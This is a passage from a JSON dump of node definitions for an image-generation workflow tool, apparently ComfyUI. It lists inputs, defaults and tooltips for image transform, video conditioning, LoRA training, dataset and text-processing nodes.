horizontally"]}]}}, "input_order": {"required": ["image", "flip_method"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageFlip", "display_name": "Flip Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mirror", "reflect"], "essentials_category": null, "has_intermediate_output": false}, "ImageScaleToMaxDimension": {"input": {"required": {"image": ["IMAGE", {}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["area", "lanczos", "bilinear", "nearest-exact", "bilinear", "bicubic"]}], "largest_size": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 1}]}}, "input_order": {"required": ["image", "upscale_method", "largest_size"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageScaleToMaxDimension", "display_name": "Scale Image to Max Dimension", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/upscaling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SplitImageToTileList": {"input": {"required": {"image": ["IMAGE", {}], "tile_width": ["INT", {"default": 1024, "min": 64, "max": 16384}], "tile_height": ["INT", {"default": 1024, "min": 64, "max": 16384}], "overlap": ["INT", {"default": 128, "min": 0, "max": 4096}]}}, "input_order": {"required": ["image", "tile_width", "tile_height", "overlap"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "SplitImageToTileList", "display_name": "Split Image into List of Tiles", "description": "Splits an image into a batched list of tiles with a specified overlap.", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["split image", "tile image", "slice image"], "essentials_category": null, "has_intermediate_output": false}, "ImageMergeTileList": {"input": {"required": {"image_list": ["IMAGE", {}], "final_width": ["INT", {"default": 1024, "min": 64, "max": 32768}], "final_height": ["INT", {"default": 1024, "min": 64, "max": 32768}], "overlap": ["INT", {"default": 128, "min": 0, "max": 4096}]}}, "input_order": {"required": ["image_list", "final_width", "final_height", "overlap"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageMergeTileList", "display_name": "Merge List of Tiles to Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["split image", "tile image", "slice image"], "essentials_category": null, "has_intermediate_output": false}, "ImageOnlyCheckpointLoader": {"input": {"required": {"ckpt_name": [[]]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP_VISION", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP_VISION", "VAE"], "name": "ImageOnlyCheckpointLoader", "display_name": "Load Checkpoint Image Only (img2vid model)", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "SVD_img2vid_Conditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION"], "init_image": ["IMAGE"], "vae": ["VAE"], "width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 576, "min": 16, "max": 16384, "step": 8}], "video_frames": ["INT", {"default": 14, "min": 1, "max": 4096}], "motion_bucket_id": ["INT", {"default": 127, "min": 1, "max": 1023, "advanced": true}], "fps": ["INT", {"default": 6, "min": 1, "max": 1024}], "augmentation_level": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 10.0, "step": 0.01, "advanced": true}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "video_frames", "motion_bucket_id", "fps", "augmentation_level"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "name": "SVD_img2vid_Conditioning", "display_name": "SVD_img2vid_Conditioning", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/conditioning/stable video", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VideoLinearCFGGuidance": {"input": {"required": {"model": ["MODEL"], "min_cfg": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.5, "round": 0.01, "advanced": true}]}}, "input_order": {"required": ["model", "min_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "VideoLinearCFGGuidance", "display_name": "Video Linear CFG Guidance", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/sampling/guiders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VideoTriangleCFGGuidance": {"input": {"required": {"model": ["MODEL"], "min_cfg": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.5, "round": 0.01, "advanced": true}]}}, "input_order": {"required": ["model", "min_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "VideoTriangleCFGGuidance", "display_name": "Video Triangle CFG Guidance", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/sampling/guiders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ImageOnlyCheckpointSave": {"input": {"required": {"model": ["MODEL"], "clip_vision": ["CLIP_VISION"], "vae": ["VAE"], "filename_prefix": ["STRING", {"default": "checkpoints/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["model", "clip_vision", "vae", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "ImageOnlyCheckpointSave", "display_name": "ImageOnlyCheckpointSave", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": ["save model", "export checkpoint", "merge save"]}, "ConditioningSetAreaPercentageVideo": {"input": {"required": {"conditioning": ["CONDITIONING"], "width": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "height": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "temporal": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "x": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "y": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "z": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "width", "height", "temporal", "x", "y", "z", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetAreaPercentageVideo", "display_name": "Conditioning (Set Area with Percentage for Video)", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "Ideogram4Scheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 200}], "width": ["INT", {"default": 1024, "min": 256, "max": 8192, "step": 16}], "height": ["INT", {"default": 1024, "min": 256, "max": 8192, "step": 16}], "mu": ["FLOAT", {"default": 0.0, "min": -10.0, "max": 10.0, "step": 0.05}], "std": ["FLOAT", {"default": 1.75, "min": 0.1, "max": 5.0, "step": 0.05}]}}, "input_order": {"required": ["steps", "width", "height", "mu", "std"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "Ideogram4Scheduler", "display_name": "Ideogram 4 Scheduler", "description": "", "python_module": "comfy_extras.nodes_ideogram4", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TrainLoraNode": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to train the LoRA on."}], "latents": ["LATENT", {"tooltip": "The Latents to use for training, serve as dataset/input of the model."}], "positive": ["CONDITIONING", {"tooltip": "The positive conditioning to use for training."}], "batch_size": ["INT", {"tooltip": "The batch size to use for training.", "default": 1, "min": 1, "max": 10000}], "grad_accumulation_steps": ["INT", {"tooltip": "The number of gradient accumulation steps to use for training.", "default": 1, "min": 1, "max": 1024}], "steps": ["INT", {"tooltip": "The number of steps to train the LoRA for.", "default": 16, "min": 1, "max": 100000}], "learning_rate": ["FLOAT", {"tooltip": "The learning rate to use for training.", "default": 0.0005, "min": 1e-07, "max": 1.0, "step": 1e-07}], "rank": ["INT", {"tooltip": "The rank of the LoRA layers.", "default": 8, "min": 1, "max": 128}], "optimizer": ["COMBO", {"tooltip": "The optimizer to use for training.", "default": "AdamW", "multiselect": false, "options": ["AdamW", "Adam", "SGD", "RMSprop"]}], "loss_function": ["COMBO", {"tooltip": "The loss function to use for training.", "default": "MSE", "multiselect": false, "options": ["MSE", "L1", "Huber", "SmoothL1"]}], "seed": ["INT", {"tooltip": "The seed to use for training (used in generator for LoRA weight initialization and noise sampling)", "default": 0, "min": 0, "max": 18446744073709551615}], "training_dtype": ["COMBO", {"tooltip": "The dtype to use for training. 'none' preserves the model's native compute dtype instead of overriding it. For fp16 models, GradScaler is automatically enabled.", "default": "bf16", "multiselect": false, "options": ["bf16", "fp32", "none"]}], "lora_dtype": ["COMBO", {"tooltip": "The dtype to use for lora.", "default": "bf16", "multiselect": false, "options": ["bf16", "fp32"]}], "quantized_backward": ["BOOLEAN", {"tooltip": "When using training_dtype 'none' and training on quantized model, doing backward with quantized matmul when enabled.", "default": false}], "algorithm": ["COMBO", {"tooltip": "The algorithm to use for training.", "default": "LoRA", "multiselect": false, "options": ["LoRA", "LoHa", "LoKr", "OFT"]}], "gradient_checkpointing": ["BOOLEAN", {"tooltip": "Use gradient checkpointing for training.", "default": true}], "checkpoint_depth": ["INT", {"tooltip": "Depth level for gradient checkpointing.", "default": 1, "min": 1, "max": 5}], "offloading": ["BOOLEAN", {"tooltip": "Offload model weights to CPU during training to save GPU memory.", "default": false}], "existing_lora": ["COMBO", {"tooltip": "The existing LoRA to append to. Set to None for new LoRA.", "default": "[None]", "multiselect": false, "options": ["[None]"]}], "bucket_mode": ["BOOLEAN", {"tooltip": "Enable resolution bucket mode. When enabled, expects pre-bucketed latents from ResolutionBucket node.", "default": false}], "bypass_mode": ["BOOLEAN", {"tooltip": "Enable bypass mode for training. When enabled, adapters are applied via forward hooks instead of weight modification. Useful for quantized models where weights cannot be directly modified.", "default": false}]}}, "input_order": {"required": ["model", "latents", "positive", "batch_size", "grad_accumulation_steps", "steps", "learning_rate", "rank", "optimizer", "loss_function", "seed", "training_dtype", "lora_dtype", "quantized_backward", "algorithm", "gradient_checkpointing", "checkpoint_depth", "offloading", "existing_lora", "bucket_mode", "bypass_mode"]}, "is_input_list": true, "output": ["LORA_MODEL", "LOSS_MAP", "INT"], "output_is_list": [false, false, false], "output_name": ["lora", "loss_map", "steps"], "output_tooltips": ["LoRA weights", "Loss history", "Total training steps"], "output_matchtypes": null, "name": "TrainLoraNode", "display_name": "Train LoRA", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoraModelLoader": {"input": {"required": {"model": ["MODEL", {"tooltip": "The diffusion model the LoRA will be applied to."}], "lora": ["LORA_MODEL", {"tooltip": "The LoRA model to apply to the diffusion model."}], "strength_model": ["FLOAT", {"tooltip": "How strongly to modify the diffusion model. This value can be negative.", "default": 1.0, "min": -100.0, "max": 100.0}], "bypass": ["BOOLEAN", {"tooltip": "When enabled, applies LoRA in bypass mode without modifying base model weights. Useful for training and when model weights are offloaded.", "default": false}]}}, "input_order": {"required": ["model", "lora", "strength_model", "bypass"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["model"], "output_tooltips": ["The modified diffusion model."], "output_matchtypes": null, "name": "LoraModelLoader", "display_name": "Load LoRA Model", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveLoRA": {"input": {"required": {"lora": ["LORA_MODEL", {"tooltip": "The LoRA model to save. Do not use the model with LoRA layers."}], "prefix": ["STRING", {"tooltip": "The prefix to use for the saved LoRA file.", "default": "loras/ComfyUI_trained_lora", "multiline": false}]}, "optional": {"steps": ["INT", {"tooltip": "Optional: The number of steps the LoRA has been trained for, used to name the saved file."}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["lora", "prefix"], "optional": ["steps"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveLoRA", "display_name": "Save LoRA Weights", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/merging", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export lora"], "essentials_category": null, "has_intermediate_output": false}, "LossGraphNode": {"input": {"required": {"loss": ["LOSS_MAP", {"tooltip": "Loss map from training node."}], "filename_prefix": ["STRING", {"tooltip": "Prefix for the saved loss graph image.", "default": "loss_graph", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["loss", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "LossGraphNode", "display_name": "Plot Loss Graph", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/training", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["training chart", "training visualization", "plot loss"], "essentials_category": null, "has_intermediate_output": false}, "LoadImageDataSetFromFolder": {"input": {"required": {"folder": ["COMBO", {"tooltip": "The folder to load images from.", "multiselect": false, "options": ["3d"]}]}}, "input_order": {"required": ["folder"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["List of loaded images"], "output_matchtypes": null, "name": "LoadImageDataSetFromFolder", "display_name": "Load Image (from Folder)", "description": "Load a dataset of images from a specified folder and return a list of images. Supported formats: PNG, JPG, JPEG, WEBP.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load folder", "load from folder", "load dataset", "load images", "import dataset"], "essentials_category": null, "has_intermediate_output": false}, "LoadImageTextDataSetFromFolder": {"input": {"required": {"folder": ["COMBO", {"tooltip": "The folder to load images and text captions from.", "multiselect": false, "options": ["3d"]}]}}, "input_order": {"required": ["folder"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [true, true], "output_name": ["images", "texts"], "output_tooltips": ["List of loaded images", "List of text captions"], "output_matchtypes": null, "name": "LoadImageTextDataSetFromFolder", "display_name": "Load Image-Text (from Folder)", "description": "Load a dataset of pairs of images and text captions from a specified folder and return them as a list. Supported formats: PNG, JPG, JPEG, WEBP.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load folder", "load from folder", "load dataset", "load images", "import dataset"], "essentials_category": null, "has_intermediate_output": false}, "SaveImageDataSetToFolder": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to save."}], "folder_name": ["STRING", {"tooltip": "Name of the folder to save images to (inside output directory).", "default": "dataset", "multiline": false}], "filename_prefix": ["STRING", {"tooltip": "Prefix for saved image filenames.", "advanced": true, "default": "image", "multiline": false}], "mode": ["COMBO", {"tooltip": "Whether to overwrite existing files or increment filenames to avoid overwriting.", "default": "overwrite", "multiselect": false, "options": ["overwrite", "increment"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "folder_name", "filename_prefix", "mode"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": true, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveImageDataSetToFolder", "display_name": "Save Image (to Folder) (DEPRECATED)", "description": "Save a dataset of images to a specified folder. Supported formats: PNG.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": true, "deprecated": true, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save folder", "save to folder", "save dataset", "save images", "export dataset"], "essentials_category": null, "has_intermediate_output": false}, "SaveImageTextDataSetToFolder": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to save."}], "folder_name": ["STRING", {"tooltip": "Name of the folder to save images to (inside output directory).", "default": "dataset", "multiline": false}], "filename_prefix": ["STRING", {"tooltip": "Prefix for saved image filenames.", "advanced": true, "default": "image", "multiline": false}], "mode": ["COMBO", {"tooltip": "Whether to overwrite existing files or increment filenames to avoid overwriting.", "default": "overwrite", "multiselect": false, "options": ["overwrite", "increment"]}]}, "optional": {"texts": ["STRING", {"tooltip": "List of text captions to save.", "forceInput": true, "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "folder_name", "filename_prefix", "mode"], "optional": ["texts"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": true, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveImageTextDataSetToFolder", "display_name": "Save Image-Text (to Folder)", "description": "Save a dataset of pairs of images and text captions to a specified folder. Images are saved as PNG files and captions are saved as TXT files with the same filename_prefix.", "python_module": "comfy_extras.nodes_dataset", "category": "image", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save folder", "save to folder", "save dataset", "save images", "save text", "export dataset"], "essentials_category": null, "has_intermediate_output": false}, "ResizeImagesByShorterEdge": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "shorter_edge": ["INT", {"tooltip": "Target dimension for the shorter edge.", "default": 512, "min": 1, "max": 8192}]}}, "input_order": {"required": ["images", "shorter_edge"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ResizeImagesByShorterEdge", "display_name": "Resize Images by Shorter Edge (DEPRECATED)", "description": "Resize images so that the shorter edge matches the specified dimension while preserving aspect ratio.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ResizeImagesByLongerEdge": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "longer_edge": ["INT", {"tooltip": "Target dimension for the longer edge.", "default": 1024, "min": 1, "max": 8192}]}}, "input_order": {"required": ["images", "longer_edge"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ResizeImagesByLongerEdge", "display_name": "Resize Images by Longer Edge (DEPRECATED)", "description": "Resize images so that the longer edge matches the specified dimension while preserving aspect ratio.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CenterCropImages": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "width": ["INT", {"tooltip": "Crop width.", "default": 512, "min": 1, "max": 8192}], "height": ["INT", {"tooltip": "Crop height.", "default": 512, "min": 1, "max": 8192}]}}, "input_order": {"required": ["images", "width", "height"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "CenterCropImages", "display_name": "Crop Image (Center)", "description": "Center crop an image to the specified dimensions.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "cut", "trim"], "essentials_category": null, "has_intermediate_output": false}, "RandomCropImages": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "width": ["INT", {"tooltip": "Crop width.", "default": 512, "min": 1, "max": 8192}], "height": ["INT", {"tooltip": "Crop height.", "default": 512, "min": 1, "max": 8192}], "seed": ["INT", {"tooltip": "Random seed.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["images", "width", "height", "seed"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "RandomCropImages", "display_name": "Crop Image (Random)", "description": "Randomly crop an image to the specified dimensions.", "python_module": "comfy_extras.nodes_dataset", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "cut", "trim"], "essentials_category": null, "has_intermediate_output": false}, "NormalizeImages": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "mean": ["FLOAT", {"tooltip": "Mean value for normalization.", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0}], "std": ["FLOAT", {"tooltip": "Standard deviation for normalization.", "advanced": true, "default": 0.5, "min": 0.001, "max": 1.0}]}}, "input_order": {"required": ["images", "mean", "std"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "NormalizeImages", "display_name": "Normalize Image Colors", "description": "Normalize images using mean and standard deviation.", "python_module": "comfy_extras.nodes_dataset", "category": "image/color", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["normalize", "normalize colors"], "essentials_category": null, "has_intermediate_output": false}, "AdjustBrightness": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "factor": ["FLOAT", {"tooltip": "Brightness factor. 1.0 = no change, <1.0 = darker, >1.0 = brighter.", "default": 1.0, "min": 0.0, "max": 2.0}]}}, "input_order": {"required": ["images", "factor"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "AdjustBrightness", "display_name": "Adjust Brightness", "description": "Adjust the brightness of an image.", "python_module": "comfy_extras.nodes_dataset", "category": "image/adjustments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["brightness"], "essentials_category": null, "has_intermediate_output": false}, "AdjustContrast": {"input": {"required": {"images": ["IMAGE", {"tooltip": "Image to process."}], "factor": ["FLOAT", {"tooltip": "Contrast factor. 1.0 = no change, <1.0 = less contrast, >1.0 = more contrast.", "default": 1.0, "min": 0.0, "max": 2.0}]}}, "input_order": {"required": ["images", "factor"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "AdjustContrast", "display_name": "Adjust Contrast", "description": "Adjust the contrast of an image.", "python_module": "comfy_extras.nodes_dataset", "category": "image/adjustments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["contrast"], "essentials_category": null, "has_intermediate_output": false}, "ShuffleDataset": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}], "seed": ["INT", {"tooltip": "Random seed.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["images", "seed"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ShuffleDataset", "display_name": "Shuffle Images List", "description": "Randomly shuffle the order of images in a list.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["shuffle", "randomize", "mix"], "essentials_category": null, "has_intermediate_output": false}, "ShuffleImageTextDataset": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to shuffle."}], "texts": ["STRING", {"tooltip": "List of texts to shuffle.", "forceInput": true, "multiline": false}], "seed": ["INT", {"tooltip": "Random seed.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["images", "texts", "seed"]}, "is_input_list": true, "output": ["IMAGE", "STRING"], "output_is_list": [true, true], "output_name": ["images", "texts"], "output_tooltips": ["Shuffled images", "Shuffled texts"], "output_matchtypes": null, "name": "ShuffleImageTextDataset", "display_name": "Shuffle Pairs of Image-Text", "description": "Randomly shuffle the order of pairs of image-text in a list.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["shuffle", "randomize", "mix"], "essentials_category": null, "has_intermediate_output": false}, "TextToLowercase": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "TextToLowercase", "display_name": "Convert Text to Lowercase (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextToUppercase": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "TextToUppercase", "display_name": "Convert Text to Uppercase (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TruncateText": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "max_length": ["INT", {"tooltip": "Maximum text length.", "default": 77, "min": 1, "max": 10000}]}}, "input_order": {"required": ["texts", "max_length"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "TruncateText", "display_name": "Truncate Text", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AddTextPrefix": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "prefix": ["STRING", {"tooltip": "Prefix to add.", "default": "", "multiline": false}]}}, "input_order": {"required": ["texts", "prefix"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "AddTextPrefix", "display_name": "Add Text Prefix (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AddTextSuffix": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "suffix": ["STRING", {"tooltip": "Suffix to add.", "default": "", "multiline": false}]}}, "input_order": {"required": ["texts", "suffix"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "AddTextSuffix", "display_name": "Add Text Suffix (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReplaceText": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}], "find": ["STRING", {"tooltip": "Text to find.", "default": "", "multiline": false}], "replace": ["STRING", {"tooltip": "Text to replace with.", "default": "", "multiline": false}]}}, "input_order": {"required": ["texts", "find", "replace"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "ReplaceText", "display_name": "Replace Text (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StripWhitespace": {"input": {"required": {"texts": ["STRING", {"tooltip": "Text to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": 